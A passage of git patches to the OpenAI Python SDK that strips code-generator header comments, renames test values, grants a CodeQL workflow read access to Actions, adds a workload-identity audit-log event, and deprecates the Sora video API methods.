+++ b/src/openai/types/beta/realtime/response_output_item_added_event.py
@@ -1,5 +1,3 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
-
from typing_extensions import Literal
from ...._models import BaseModel
diff --git a/src/openai/types/beta/realtime/response_output_item_done_event.py b/src/openai/types/beta/realtime/response_output_item_done_event.py
index b5910e22aa..4f9fbd45cc 100644
--- a/src/openai/types/beta/realtime/response_output_item_done_event.py
+++ b/src/openai/types/beta/realtime/response_output_item_done_event.py
@@ -1,5 +1,3 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
-
from typing_extensions import Literal
from ...._models import BaseModel
diff --git a/src/openai/types/beta/realtime/response_text_delta_event.py b/src/openai/types/beta/realtime/response_text_delta_event.py
index c463b3c3d0..f61dcc8b6b 100644
--- a/src/openai/types/beta/realtime/response_text_delta_event.py
+++ b/src/openai/types/beta/realtime/response_text_delta_event.py
@@ -1,5 +1,3 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
-
from typing_extensions import Literal
from ...._models import BaseModel
diff --git a/src/openai/types/beta/realtime/response_text_done_event.py b/src/openai/types/beta/realtime/response_text_done_event.py
index 020ff41d58..5b85e40803 100644
--- a/src/openai/types/beta/realtime/response_text_done_event.py
+++ b/src/openai/types/beta/realtime/response_text_done_event.py
@@ -1,5 +1,3 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
-
from typing_extensions import Literal
from ...._models import BaseModel
diff --git a/src/openai/types/beta/realtime/session.py b/src/openai/types/beta/realtime/session.py
index 2e099a2e98..2694e87dd6 100644
--- a/src/openai/types/beta/realtime/session.py
+++ b/src/openai/types/beta/realtime/session.py
@@ -1,5 +1,3 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
-
from typing import List, Union, Optional
from typing_extensions import Literal, TypeAlias
diff --git a/src/openai/types/beta/realtime/session_create_params.py b/src/openai/types/beta/realtime/session_create_params.py
index 38465a56c3..5c1e5baf6d 100644
--- a/src/openai/types/beta/realtime/session_create_params.py
+++ b/src/openai/types/beta/realtime/session_create_params.py
@@ -1,5 +1,3 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
-
from __future__ import annotations
from typing import List, Union, Iterable
diff --git a/src/openai/types/beta/realtime/session_create_response.py b/src/openai/types/beta/realtime/session_create_response.py
index 471da03691..a777d80727 100644
--- a/src/openai/types/beta/realtime/session_create_response.py
+++ b/src/openai/types/beta/realtime/session_create_response.py
@@ -1,5 +1,3 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
-
from typing import List, Union, Optional
from typing_extensions import Literal, TypeAlias
diff --git a/src/openai/types/beta/realtime/session_created_event.py b/src/openai/types/beta/realtime/session_created_event.py
index baf6af388b..395626f11f 100644
--- a/src/openai/types/beta/realtime/session_created_event.py
+++ b/src/openai/types/beta/realtime/session_created_event.py
@@ -1,5 +1,3 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
-
from typing_extensions import Literal
from .session import Session
diff --git a/src/openai/types/beta/realtime/session_update_event.py b/src/openai/types/beta/realtime/session_update_event.py
index 78d2e4bb18..251517fb4d 100644
--- a/src/openai/types/beta/realtime/session_update_event.py
+++ b/src/openai/types/beta/realtime/session_update_event.py
@@ -1,5 +1,3 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
-
from typing import List, Union, Optional
from typing_extensions import Literal, TypeAlias
diff --git a/src/openai/types/beta/realtime/session_update_event_param.py b/src/openai/types/beta/realtime/session_update_event_param.py
index c58b202a71..3186592609 100644
--- a/src/openai/types/beta/realtime/session_update_event_param.py
+++ b/src/openai/types/beta/realtime/session_update_event_param.py
@@ -1,5 +1,3 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
-
from __future__ import annotations
from typing import List, Union, Iterable
diff --git a/src/openai/types/beta/realtime/session_updated_event.py b/src/openai/types/beta/realtime/session_updated_event.py
index b9b6488eb3..d03876b112 100644
--- a/src/openai/types/beta/realtime/session_updated_event.py
+++ b/src/openai/types/beta/realtime/session_updated_event.py
@@ -1,5 +1,3 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
-
from typing_extensions import Literal
from .session import Session
diff --git a/src/openai/types/beta/realtime/transcription_session.py b/src/openai/types/beta/realtime/transcription_session.py
index 7c7abf37b6..8c4a6d09a2 100644
--- a/src/openai/types/beta/realtime/transcription_session.py
+++ b/src/openai/types/beta/realtime/transcription_session.py
@@ -1,5 +1,3 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
-
from typing import List, Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/realtime/transcription_session_create_params.py b/src/openai/types/beta/realtime/transcription_session_create_params.py
index 3ac3af4fa9..5573ab20b4 100644
--- a/src/openai/types/beta/realtime/transcription_session_create_params.py
+++ b/src/openai/types/beta/realtime/transcription_session_create_params.py
@@ -1,5 +1,3 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
-
from __future__ import annotations
from typing import List
diff --git a/src/openai/types/beta/realtime/transcription_session_update.py b/src/openai/types/beta/realtime/transcription_session_update.py
index 5ae1ad226d..3fe30330ec 100644
--- a/src/openai/types/beta/realtime/transcription_session_update.py
+++ b/src/openai/types/beta/realtime/transcription_session_update.py
@@ -1,5 +1,3 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
-
from typing import List, Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/realtime/transcription_session_update_param.py b/src/openai/types/beta/realtime/transcription_session_update_param.py
index d7065f61c7..aa8719ab9a 100644
--- a/src/openai/types/beta/realtime/transcription_session_update_param.py
+++ b/src/openai/types/beta/realtime/transcription_session_update_param.py
@@ -1,5 +1,3 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
-
from __future__ import annotations
from typing import List
diff --git a/src/openai/types/beta/realtime/transcription_session_updated_event.py b/src/openai/types/beta/realtime/transcription_session_updated_event.py
index 1f1fbdae14..5028ed2d17 100644
--- a/src/openai/types/beta/realtime/transcription_session_updated_event.py
+++ b/src/openai/types/beta/realtime/transcription_session_updated_event.py
@@ -1,5 +1,3 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
-
from typing_extensions import Literal
from ...._models import BaseModel
diff --git a/src/openai/types/chat/chat_completion_message_tool_call_param.py b/src/openai/types/chat/chat_completion_message_tool_call_param.py
index 6baa1b57ab..fedf615f4d 100644
--- a/src/openai/types/chat/chat_completion_message_tool_call_param.py
+++ b/src/openai/types/chat/chat_completion_message_tool_call_param.py
@@ -1,5 +1,3 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
-
from __future__ import annotations
from typing_extensions import TypeAlias
diff --git a/src/openai/types/chat/chat_completion_tool_param.py b/src/openai/types/chat/chat_completion_tool_param.py
index a18b13b471..9f0abf2867 100644
--- a/src/openai/types/chat/chat_completion_tool_param.py
+++ b/src/openai/types/chat/chat_completion_tool_param.py
@@ -1,5 +1,3 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
-
from __future__ import annotations
from typing_extensions import TypeAlias
diff --git a/src/openai/types/chat/parsed_chat_completion.py b/src/openai/types/chat/parsed_chat_completion.py
index 4b11dac5a0..ba7dc78d21 100644
--- a/src/openai/types/chat/parsed_chat_completion.py
+++ b/src/openai/types/chat/parsed_chat_completion.py
@@ -1,5 +1,3 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
-
from typing import List, Generic, TypeVar, Optional
from ..._models import GenericModel
diff --git a/src/openai/types/chat/parsed_function_tool_call.py b/src/openai/types/chat/parsed_function_tool_call.py
index e06b3546cb..9c31b0f627 100644
--- a/src/openai/types/chat/parsed_function_tool_call.py
+++ b/src/openai/types/chat/parsed_function_tool_call.py
@@ -1,5 +1,3 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
-
from typing import Optional
from .chat_completion_message_function_tool_call import Function, ChatCompletionMessageFunctionToolCall
diff --git a/src/openai/types/responses/parsed_response.py b/src/openai/types/responses/parsed_response.py
index 7e62ff6139..d0977fa23a 100644
--- a/src/openai/types/responses/parsed_response.py
+++ b/src/openai/types/responses/parsed_response.py
@@ -1,5 +1,3 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
-
from typing import TYPE_CHECKING, List, Union, Generic, TypeVar, Optional
from typing_extensions import Annotated, TypeAlias
diff --git a/src/openai/types/webhooks/safety_identifier_blocked_webhook_event.py b/src/openai/types/webhooks/safety_identifier_blocked_webhook_event.py
index 04472727ac..b908ad445d 100644
--- a/src/openai/types/webhooks/safety_identifier_blocked_webhook_event.py
+++ b/src/openai/types/webhooks/safety_identifier_blocked_webhook_event.py
@@ -1,5 +1,3 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
-
from typing import Optional
from typing_extensions import Literal
diff --git a/tests/__init__.py b/tests/__init__.py
index fd8019a9a1..e69de29bb2 100644
--- a/tests/__init__.py
+++ b/tests/__init__.py
@@ -1 +0,0 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
diff --git a/tests/api_resources/beta/test_realtime.py b/tests/api_resources/beta/test_realtime.py
index 8f752a0fd3..96146dfa51 100644
--- a/tests/api_resources/beta/test_realtime.py
+++ b/tests/api_resources/beta/test_realtime.py
@@ -1,5 +1,3 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
-
from __future__ import annotations
import os
diff --git a/tests/conftest.py b/tests/conftest.py
index ff3671cb0c..c02deeae23 100644
--- a/tests/conftest.py
+++ b/tests/conftest.py
@@ -1,5 +1,3 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
-
from __future__ import annotations
import os
diff --git a/tests/test_client.py b/tests/test_client.py
index 092050987d..79a66098fa 100644
--- a/tests/test_client.py
+++ b/tests/test_client.py
@@ -1,5 +1,3 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
-
from __future__ import annotations
import gc
@@ -188,13 +186,13 @@ def test_copy_default_headers(self) -> None:
assert copied.default_headers["X-Foo"] == "bar"
# merges already given headers
- copied = client.copy(default_headers={"X-Bar": "stainless"})
+ copied = client.copy(default_headers={"X-Bar": "openai"})
assert copied.default_headers["X-Foo"] == "bar"
- assert copied.default_headers["X-Bar"] == "stainless"
+ assert copied.default_headers["X-Bar"] == "openai"
# uses new values for any already given headers
- copied = client.copy(default_headers={"X-Foo": "stainless"})
- assert copied.default_headers["X-Foo"] == "stainless"
+ copied = client.copy(default_headers={"X-Foo": "openai"})
+ assert copied.default_headers["X-Foo"] == "openai"
# set_default_headers
@@ -227,14 +225,14 @@ def test_copy_default_query(self) -> None:
assert _get_params(copied)["foo"] == "bar"
# merges already given params
- copied = client.copy(default_query={"bar": "stainless"})
+ copied = client.copy(default_query={"bar": "openai"})
params = _get_params(copied)
assert params["foo"] == "bar"
- assert params["bar"] == "stainless"
+ assert params["bar"] == "openai"
# uses new values for any already given headers
- copied = client.copy(default_query={"foo": "stainless"})
- assert _get_params(copied)["foo"] == "stainless"
+ copied = client.copy(default_query={"foo": "openai"})
+ assert _get_params(copied)["foo"] == "openai"
# set_default_query
@@ -435,12 +433,12 @@ def test_default_headers_option(self) -> None:
admin_api_key=admin_api_key,
_strict_response_validation=True,
default_headers={
- "X-Foo": "stainless",
+ "X-Foo": "openai",
"X-Stainless-Lang": "my-overriding-header",
},
)
request = test_client2._build_request(FinalRequestOptions(method="get", url="/foo"))
- assert request.headers.get("x-foo") == "stainless"
+ assert request.headers.get("x-foo") == "openai"
assert request.headers.get("x-stainless-lang") == "my-overriding-header"
test_client.close()
@@ -1502,13 +1500,13 @@ async def test_copy_default_headers(self) -> None:
assert copied.default_headers["X-Foo"] == "bar"
# merges already given headers
- copied = client.copy(default_headers={"X-Bar": "stainless"})
+ copied = client.copy(default_headers={"X-Bar": "openai"})
assert copied.default_headers["X-Foo"] == "bar"
- assert copied.default_headers["X-Bar"] == "stainless"
+ assert copied.default_headers["X-Bar"] == "openai"
# uses new values for any already given headers
- copied = client.copy(default_headers={"X-Foo": "stainless"})
- assert copied.default_headers["X-Foo"] == "stainless"
+ copied = client.copy(default_headers={"X-Foo": "openai"})
+ assert copied.default_headers["X-Foo"] == "openai"
# set_default_headers
@@ -1541,14 +1539,14 @@ async def test_copy_default_query(self) -> None:
assert _get_params(copied)["foo"] == "bar"
# merges already given params
- copied = client.copy(default_query={"bar": "stainless"})
+ copied = client.copy(default_query={"bar": "openai"})
params = _get_params(copied)
assert params["foo"] == "bar"
- assert params["bar"] == "stainless"
+ assert params["bar"] == "openai"
# uses new values for any already given headers
- copied = client.copy(default_query={"foo": "stainless"})
- assert _get_params(copied)["foo"] == "stainless"
+ copied = client.copy(default_query={"foo": "openai"})
+ assert _get_params(copied)["foo"] == "openai"
# set_default_query
@@ -1751,12 +1749,12 @@ async def test_default_headers_option(self) -> None:
admin_api_key=admin_api_key,
_strict_response_validation=True,
default_headers={
- "X-Foo": "stainless",
+ "X-Foo": "openai",
"X-Stainless-Lang": "my-overriding-header",
},
)
request = test_client2._build_request(FinalRequestOptions(method="get", url="/foo"))
- assert request.headers.get("x-foo") == "stainless"
+ assert request.headers.get("x-foo") == "openai"
assert request.headers.get("x-stainless-lang") == "my-overriding-header"
await test_client.close()
diff --git a/tests/test_module_client.py b/tests/test_module_client.py
index ff099d5056..e35a4ad901 100644
--- a/tests/test_module_client.py
+++ b/tests/test_module_client.py
@@ -1,5 +1,3 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
-
from __future__ import annotations
import os as _os
diff --git a/tests/test_send_queue.py b/tests/test_send_queue.py
index 61db916bc4..f3fe996c33 100644
--- a/tests/test_send_queue.py
+++ b/tests/test_send_queue.py
@@ -1,5 +1,3 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
-
from __future__ import annotations
import pytest
diff --git a/tests/test_transform.py b/tests/test_transform.py
index bece75dfc7..5af84df7fd 100644
--- a/tests/test_transform.py
+++ b/tests/test_transform.py
@@ -324,9 +324,9 @@ class ModelNestedObjects(BaseModel):
@parametrize
@pytest.mark.asyncio
async def test_pydantic_nested_objects(use_async: bool) -> None:
- model = ModelNestedObjects.construct(nested={"foo": "stainless"})
+ model = ModelNestedObjects.construct(nested={"foo": "openai"})
assert isinstance(model.nested, MyModel)
- assert cast(Any, await transform(model, Any, use_async)) == {"nested": {"foo": "stainless"}}
+ assert cast(Any, await transform(model, Any, use_async)) == {"nested": {"foo": "openai"}}
class ModelWithDefaultField(BaseModel):
From 5578d39b01332ff28ed79e8ab1d864f6fa547f48 Mon Sep 17 00:00:00 2001
From: Alex Chang
Date: Thu, 13 Aug 2026 15:53:07 +0000
Subject: [PATCH 012/341] ci: fix CodeQL permissions for private repositories
(#3606)
## Summary
- Grant the CodeQL workflow `actions: read` alongside its existing
`contents: read` and `security-events: write` permissions.
- Allow the shared SDK workflow to read workflow-run metadata when it
runs in the mirrored private repository.
## Why
The public workflow currently succeeds because public Actions
workflow-run metadata can be read without an explicit Actions
permission. The identical workflow fails in the private mirror with
`Resource not accessible by integration` while preparing to upload
CodeQL results.
## Validation
- Parsed the workflow as YAML and verified the complete least-privilege
permission set.
- Confirmed the PR changes only one line in
`.github/workflows/codeql.yml`.
- Verified the exact commit passed internal CodeQL:
https://github.com/openai/openai-python-internal/actions/runs/31671272628
---
.github/workflows/codeql.yml | 1 +
1 file changed, 1 insertion(+)
diff --git a/.github/workflows/codeql.yml b/.github/workflows/codeql.yml
index f59c0560ba..758a4b729b 100644
--- a/.github/workflows/codeql.yml
+++ b/.github/workflows/codeql.yml
@@ -10,6 +10,7 @@ on:
workflow_dispatch:
permissions:
+ actions: read
contents: read
security-events: write
From df274d44f5207febff3231f3a707f1d2265917b5 Mon Sep 17 00:00:00 2001
From: Justin Beckwith
Date: Thu, 13 Aug 2026 16:05:51 +0000
Subject: [PATCH 013/341] feat(api): add workload identity access token issued
event (#3601)
Source: https://github.com/openai/openai/pull/1280093
Adds the new `tenant.workload_identity.access_token.issued` audit-log
event to generated request and response types.
Generated with Castiron from OpenAPI SHA
`11854aef674352d3f9cd5c0a7038f079a7bbac06` and validated with the
public-baseline dry-run workflow.
---------
Co-authored-by: Castiron Bot
---
.castiron.stats.yml | 8 ++++----
api_reference/openapi.transformed.yml | 1 +
src/openai/resources/admin/organization/audit_logs.py | 2 ++
.../types/admin/organization/audit_log_list_params.py | 1 +
.../types/admin/organization/audit_log_list_response.py | 1 +
5 files changed, 9 insertions(+), 4 deletions(-)
diff --git a/.castiron.stats.yml b/.castiron.stats.yml
index 7f2789e84c..4ddc0ff0df 100644
--- a/.castiron.stats.yml
+++ b/.castiron.stats.yml
@@ -1,6 +1,6 @@
schema_version: 1
-generation_id: 6f16b5a1-6b31-43ea-a1dd-a1a9fc37821e
-openapi_spec_hash: 1faf0319c407c6534ef7c381614afbb6
-openapi_transformed_spec_hash: 53eff50caa9d18046e4ff0615bc7512d
+generation_id: ec060161-a32a-42d7-99f3-6dd062ed3fea
+openapi_spec_hash: 971c659b020aa37865787aa082cc4159
+openapi_transformed_spec_hash: 75836bac7e1a2e2632c2709238aa355c
config_hash: 4617b0962f16d328804312ac81aac630
-codegen_sha: 20f59b5cced5772bda4c6d6e3e19726d3805e4a1
+codegen_sha: a019f44ece72b97bd941243068cb5ccb2a926f8a
diff --git a/api_reference/openapi.transformed.yml b/api_reference/openapi.transformed.yml
index c7bd455b7c..d42cec3897 100644
--- a/api_reference/openapi.transformed.yml
+++ b/api_reference/openapi.transformed.yml
@@ -28325,6 +28325,7 @@ components:
- tenant.workload_identity.mapping.archived
- tenant.workload_identity.binding.created
- tenant.workload_identity.principal.provisioned
+ - tenant.workload_identity.access_token.issued
- tenant.admin_api_key.created
- tenant.admin_api_key.updated
- tenant.admin_api_key.deleted
diff --git a/src/openai/resources/admin/organization/audit_logs.py b/src/openai/resources/admin/organization/audit_logs.py
index 5fc61feae3..a0530d27a7 100644
--- a/src/openai/resources/admin/organization/audit_logs.py
+++ b/src/openai/resources/admin/organization/audit_logs.py
@@ -123,6 +123,7 @@ def list(
"tenant.workload_identity.mapping.archived",
"tenant.workload_identity.binding.created",
"tenant.workload_identity.principal.provisioned",
+ "tenant.workload_identity.access_token.issued",
"tenant.admin_api_key.created",
"tenant.admin_api_key.updated",
"tenant.admin_api_key.deleted",
@@ -388,6 +389,7 @@ def list(
"tenant.workload_identity.mapping.archived",
"tenant.workload_identity.binding.created",
"tenant.workload_identity.principal.provisioned",
+ "tenant.workload_identity.access_token.issued",
"tenant.admin_api_key.created",
"tenant.admin_api_key.updated",
"tenant.admin_api_key.deleted",
diff --git a/src/openai/types/admin/organization/audit_log_list_params.py b/src/openai/types/admin/organization/audit_log_list_params.py
index a00891ff33..a5476ff8d9 100644
--- a/src/openai/types/admin/organization/audit_log_list_params.py
+++ b/src/openai/types/admin/organization/audit_log_list_params.py
@@ -113,6 +113,7 @@ class AuditLogListParams(TypedDict, total=False):
"tenant.workload_identity.mapping.archived",
"tenant.workload_identity.binding.created",
"tenant.workload_identity.principal.provisioned",
+ "tenant.workload_identity.access_token.issued",
"tenant.admin_api_key.created",
"tenant.admin_api_key.updated",
"tenant.admin_api_key.deleted",
diff --git a/src/openai/types/admin/organization/audit_log_list_response.py b/src/openai/types/admin/organization/audit_log_list_response.py
index 97d9d60b7d..dd135cc0e1 100644
--- a/src/openai/types/admin/organization/audit_log_list_response.py
+++ b/src/openai/types/admin/organization/audit_log_list_response.py
@@ -1048,6 +1048,7 @@ class AuditLogListResponse(BaseModel):
"tenant.workload_identity.mapping.archived",
"tenant.workload_identity.binding.created",
"tenant.workload_identity.principal.provisioned",
+ "tenant.workload_identity.access_token.issued",
"tenant.admin_api_key.created",
"tenant.admin_api_key.updated",
"tenant.admin_api_key.deleted",
From 721cb1cd1cacb71237db4403d80a01403af61248 Mon Sep 17 00:00:00 2001
From: Alex Chang
Date: Thu, 13 Aug 2026 19:00:01 +0000
Subject: [PATCH 014/341] feat(api): deprecate Sora video APIs (#3610)
## Summary
Deprecate Sora video APIs before their September shutdown
Co-authored-by: apcha-oai <228803254+apcha-oai@users.noreply.github.com>
---
.castiron.stats.yml | 10 +-
api_reference/openapi.transformed.yml | 10 +
examples/video.py | 2 +-
src/openai/resources/videos.py | 281 ++++++---
tests/api_resources/test_videos.py | 806 +++++++++++++++-----------
5 files changed, 661 insertions(+), 448 deletions(-)
diff --git a/.castiron.stats.yml b/.castiron.stats.yml
index 4ddc0ff0df..9a079151b6 100644
--- a/.castiron.stats.yml
+++ b/.castiron.stats.yml
@@ -1,6 +1,6 @@
schema_version: 1
-generation_id: ec060161-a32a-42d7-99f3-6dd062ed3fea
-openapi_spec_hash: 971c659b020aa37865787aa082cc4159
-openapi_transformed_spec_hash: 75836bac7e1a2e2632c2709238aa355c
-config_hash: 4617b0962f16d328804312ac81aac630
-codegen_sha: a019f44ece72b97bd941243068cb5ccb2a926f8a
+generation_id: 625cc75a-e869-4197-b1a1-0ab0f2dd58bf
+openapi_spec_hash: 9b793011794d783fd6a2d71d8a6f6972
+openapi_transformed_spec_hash: 89ade65e8a3170ca977f145feda2a689
+config_hash: fcda4ecfe265daddba6fad25a8504a3f
+codegen_sha: 25f5de7c38e1809ac8576f80aba10db4a6c01df0
diff --git a/api_reference/openapi.transformed.yml b/api_reference/openapi.transformed.yml
index d42cec3897..c62bc6b044 100644
--- a/api_reference/openapi.transformed.yml
+++ b/api_reference/openapi.transformed.yml
@@ -22529,6 +22529,7 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/VideoResource'
+ deprecated: true
x-oaiMeta:
name: Create video
group: videos
@@ -22651,6 +22652,7 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/VideoListResource'
+ deprecated: true
x-oaiMeta:
name: List videos
group: videos
@@ -22753,6 +22755,7 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/VideoCharacterResource'
+ deprecated: true
description: Create a character from an uploaded video.
/videos/characters/{character_id}:
get:
@@ -22775,6 +22778,7 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/VideoCharacterResource'
+ deprecated: true
description: Fetch a character.
/videos/edits:
post:
@@ -22795,6 +22799,7 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/VideoResource'
+ deprecated: true
description: Create a new video generation job by editing a source video or existing generated video.
/videos/extensions:
post:
@@ -22815,6 +22820,7 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/VideoResource'
+ deprecated: true
description: Create an extension of a completed video.
/videos/{video_id}:
get:
@@ -22837,6 +22843,7 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/VideoResource'
+ deprecated: true
x-oaiMeta:
name: Retrieve video
group: videos
@@ -22924,6 +22931,7 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/DeletedVideoResource'
+ deprecated: true
x-oaiMeta:
name: Delete video
group: videos
@@ -23026,6 +23034,7 @@ paths:
application/json:
schema:
type: string
+ deprecated: true
x-oaiMeta:
name: Retrieve video content
group: videos
@@ -23136,6 +23145,7 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/VideoResource'
+ deprecated: true
x-oaiMeta:
name: Remix video
group: videos
diff --git a/examples/video.py b/examples/video.py
index ee89e64697..b9346a7e77 100644
--- a/examples/video.py
+++ b/examples/video.py
@@ -8,7 +8,7 @@
async def main() -> None:
- video = await client.videos.create_and_poll(
+ video = await client.videos.create_and_poll( # pyright: ignore[reportDeprecated]
model="sora-2",
prompt="A video of the words 'Thank you' in sparkling letters",
)
diff --git a/src/openai/resources/videos.py b/src/openai/resources/videos.py
index 37ceb9a660..d4c84ea1f3 100644
--- a/src/openai/resources/videos.py
+++ b/src/openai/resources/videos.py
@@ -2,6 +2,7 @@
from __future__ import annotations
+import typing_extensions
from typing import TYPE_CHECKING, Mapping, cast
from typing_extensions import Literal, assert_never
@@ -66,6 +67,7 @@ def with_streaming_response(self) -> VideosWithStreamingResponse:
"""
return VideosWithStreamingResponse(self)
+ @typing_extensions.deprecated("The Sora API is scheduled to permanently shut down on September 24, 2026.")
def create(
self,
*,
@@ -134,6 +136,7 @@ def create(
cast_to=Video,
)
+ @typing_extensions.deprecated("The Sora API is scheduled to permanently shut down on September 24, 2026.")
def create_and_poll(
self,
*,
@@ -151,7 +154,7 @@ def create_and_poll(
timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Video:
"""Create a video and wait for it to be processed."""
- video = self.create(
+ video = self.create( # pyright: ignore[reportDeprecated]
model=model,
prompt=prompt,
input_reference=input_reference,
@@ -163,11 +166,12 @@ def create_and_poll(
timeout=timeout,
)
- return self.poll(
+ return self.poll( # pyright: ignore[reportDeprecated]
video.id,
poll_interval_ms=poll_interval_ms,
)
+ @typing_extensions.deprecated("The Sora API is scheduled to permanently shut down on September 24, 2026.")
def poll(
self,
video_id: str,
@@ -184,7 +188,7 @@ def poll(
headers["X-Stainless-Custom-Poll-Interval"] = str(poll_interval_ms)
while True:
- response = self.with_raw_response.retrieve(
+ response = self.with_raw_response.retrieve( # pyright: ignore[reportDeprecated]
video_id,
extra_headers=headers,
)
@@ -207,6 +211,7 @@ def poll(
else:
return video
+ @typing_extensions.deprecated("The Sora API is scheduled to permanently shut down on September 24, 2026.")
def retrieve(
self,
video_id: str,
@@ -244,6 +249,7 @@ def retrieve(
cast_to=Video,
)
+ @typing_extensions.deprecated("The Sora API is scheduled to permanently shut down on September 24, 2026.")
def list(
self,
*,
@@ -297,6 +303,7 @@ def list(
model=Video,
)
+ @typing_extensions.deprecated("The Sora API is scheduled to permanently shut down on September 24, 2026.")
def delete(
self,
video_id: str,
@@ -334,6 +341,7 @@ def delete(
cast_to=VideoDeleteResponse,
)
+ @typing_extensions.deprecated("The Sora API is scheduled to permanently shut down on September 24, 2026.")
def create_character(
self,
*,
@@ -388,6 +396,7 @@ def create_character(
cast_to=VideoCreateCharacterResponse,
)
+ @typing_extensions.deprecated("The Sora API is scheduled to permanently shut down on September 24, 2026.")
def download_content(
self,
video_id: str,
@@ -432,6 +441,7 @@ def download_content(
cast_to=_legacy_response.HttpxBinaryResponseContent,
)
+ @typing_extensions.deprecated("The Sora API is scheduled to permanently shut down on September 24, 2026.")
def edit(
self,
*,
@@ -487,6 +497,7 @@ def edit(
cast_to=Video,
)
+ @typing_extensions.deprecated("The Sora API is scheduled to permanently shut down on September 24, 2026.")
def extend(
self,
*,
@@ -546,6 +557,7 @@ def extend(
cast_to=Video,
)
+ @typing_extensions.deprecated("The Sora API is scheduled to permanently shut down on September 24, 2026.")
def get_character(
self,
character_id: str,
@@ -583,6 +595,7 @@ def get_character(
cast_to=VideoGetCharacterResponse,
)
+ @typing_extensions.deprecated("The Sora API is scheduled to permanently shut down on September 24, 2026.")
def remix(
self,
video_id: str,
@@ -645,6 +658,7 @@ def with_streaming_response(self) -> AsyncVideosWithStreamingResponse:
"""
return AsyncVideosWithStreamingResponse(self)
+ @typing_extensions.deprecated("The Sora API is scheduled to permanently shut down on September 24, 2026.")
async def create(
self,
*,
@@ -713,6 +727,7 @@ async def create(
cast_to=Video,
)
+ @typing_extensions.deprecated("The Sora API is scheduled to permanently shut down on September 24, 2026.")
async def create_and_poll(
self,
*,
@@ -730,7 +745,7 @@ async def create_and_poll(
timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Video:
"""Create a video and wait for it to be processed."""
- video = await self.create(
+ video = await self.create( # pyright: ignore[reportDeprecated]
model=model,
prompt=prompt,
input_reference=input_reference,
@@ -742,11 +757,12 @@ async def create_and_poll(
timeout=timeout,
)
- return await self.poll(
+ return await self.poll( # pyright: ignore[reportDeprecated]
video.id,
poll_interval_ms=poll_interval_ms,
)
+ @typing_extensions.deprecated("The Sora API is scheduled to permanently shut down on September 24, 2026.")
async def poll(
self,
video_id: str,
@@ -763,7 +779,7 @@ async def poll(
headers["X-Stainless-Custom-Poll-Interval"] = str(poll_interval_ms)
while True:
- response = await self.with_raw_response.retrieve(
+ response = await self.with_raw_response.retrieve( # pyright: ignore[reportDeprecated]
video_id,
extra_headers=headers,
)
@@ -786,6 +802,7 @@ async def poll(
else:
return video
+ @typing_extensions.deprecated("The Sora API is scheduled to permanently shut down on September 24, 2026.")
async def retrieve(
self,
video_id: str,
@@ -823,6 +840,7 @@ async def retrieve(
cast_to=Video,
)
+ @typing_extensions.deprecated("The Sora API is scheduled to permanently shut down on September 24, 2026.")
def list(
self,
*,
@@ -876,6 +894,7 @@ def list(
model=Video,
)
+ @typing_extensions.deprecated("The Sora API is scheduled to permanently shut down on September 24, 2026.")
async def delete(
self,
video_id: str,
@@ -913,6 +932,7 @@ async def delete(
cast_to=VideoDeleteResponse,
)
+ @typing_extensions.deprecated("The Sora API is scheduled to permanently shut down on September 24, 2026.")
async def create_character(
self,
*,
@@ -967,6 +987,7 @@ async def create_character(
cast_to=VideoCreateCharacterResponse,
)
+ @typing_extensions.deprecated("The Sora API is scheduled to permanently shut down on September 24, 2026.")
async def download_content(
self,
video_id: str,
@@ -1013,6 +1034,7 @@ async def download_content(
cast_to=_legacy_response.HttpxBinaryResponseContent,
)
+ @typing_extensions.deprecated("The Sora API is scheduled to permanently shut down on September 24, 2026.")
async def edit(
self,
*,
@@ -1068,6 +1090,7 @@ async def edit(
cast_to=Video,
)
+ @typing_extensions.deprecated("The Sora API is scheduled to permanently shut down on September 24, 2026.")
async def extend(
self,
*,
@@ -1127,6 +1150,7 @@ async def extend(
cast_to=Video,
)
